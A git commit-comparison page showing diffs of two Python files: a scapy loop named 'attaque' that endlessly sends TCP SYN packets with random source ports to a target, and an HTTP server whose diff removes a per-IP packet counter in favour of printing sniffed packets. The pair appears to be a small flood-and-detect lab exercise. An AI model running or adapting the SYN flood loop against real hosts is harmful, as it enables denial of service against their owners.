Compare commits
No commits in common. "63853db6309d62a5d11211eda41f1d828d77ccc6" and "5d1b6fc5cecbcf404754d0907ab5f34ad2e0ac0e" have entirely different histories.
63853db630
...
5d1b6fc5ce
2 changed files with 2 additions and 19 deletions
|
@ -21,7 +21,7 @@ def attaque():
|
||||||
while True:
|
while True:
|
||||||
requete = L[r.randint(0, 2)]
|
requete = L[r.randint(0, 2)]
|
||||||
paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
|
paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
|
||||||
sr1(paquet, verbose=False)
|
sr1(paquet, verbose=True)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
t1= th.Thread(target=attaque())
|
t1= th.Thread(target=attaque())
|
||||||
|
|
|
@ -2,29 +2,14 @@ from scapy.all import *
|
||||||
import http.server
|
import http.server
|
||||||
import socketserver
|
import socketserver
|
||||||
import threading
|
import threading
|
||||||
import time
|
|
||||||
|
|
||||||
PORT = 80
|
PORT = 80
|
||||||
|
|
||||||
Handler = http.server.SimpleHTTPRequestHandler
|
Handler = http.server.SimpleHTTPRequestHandler
|
||||||
http = socketserver.TCPServer(("", PORT), Handler)
|
http = socketserver.TCPServer(("", PORT), Handler)
|
||||||
|
|
||||||
addresses = {}
|
|
||||||
|
|
||||||
def empty_addresses():
|
|
||||||
while True:
|
|
||||||
time.wait(1)
|
|
||||||
addresses.clear()
|
|
||||||
|
|
||||||
def handler(pkt):
|
def handler(pkt):
|
||||||
address = pkt[IP].src
|
print(pkt)
|
||||||
if address in addresses.keys():
|
|
||||||
count = addresses[address]
|
|
||||||
if count > 30:
|
|
||||||
print(address, count)
|
|
||||||
addresses[address] += 1
|
|
||||||
else:
|
|
||||||
addresses[address] = 1
|
|
||||||
|
|
||||||
def sniff_packets():
|
def sniff_packets():
|
||||||
sniff(filter=f"tcp port {PORT}", prn=handler)
|
sniff(filter=f"tcp port {PORT}", prn=handler)
|
||||||
|
@ -32,8 +17,6 @@ def sniff_packets():
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
sniffer = threading.Thread(target=sniff_packets)
|
sniffer = threading.Thread(target=sniff_packets)
|
||||||
sniffer.start()
|
sniffer.start()
|
||||||
emptyer = threading.Thread(target=empty_addresses)
|
|
||||||
emptyer.start()
|
|
||||||
http.serve_forever()
|
http.serve_forever()
|
||||||
print("serving at port", PORT)
|
print("serving at port", PORT)
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue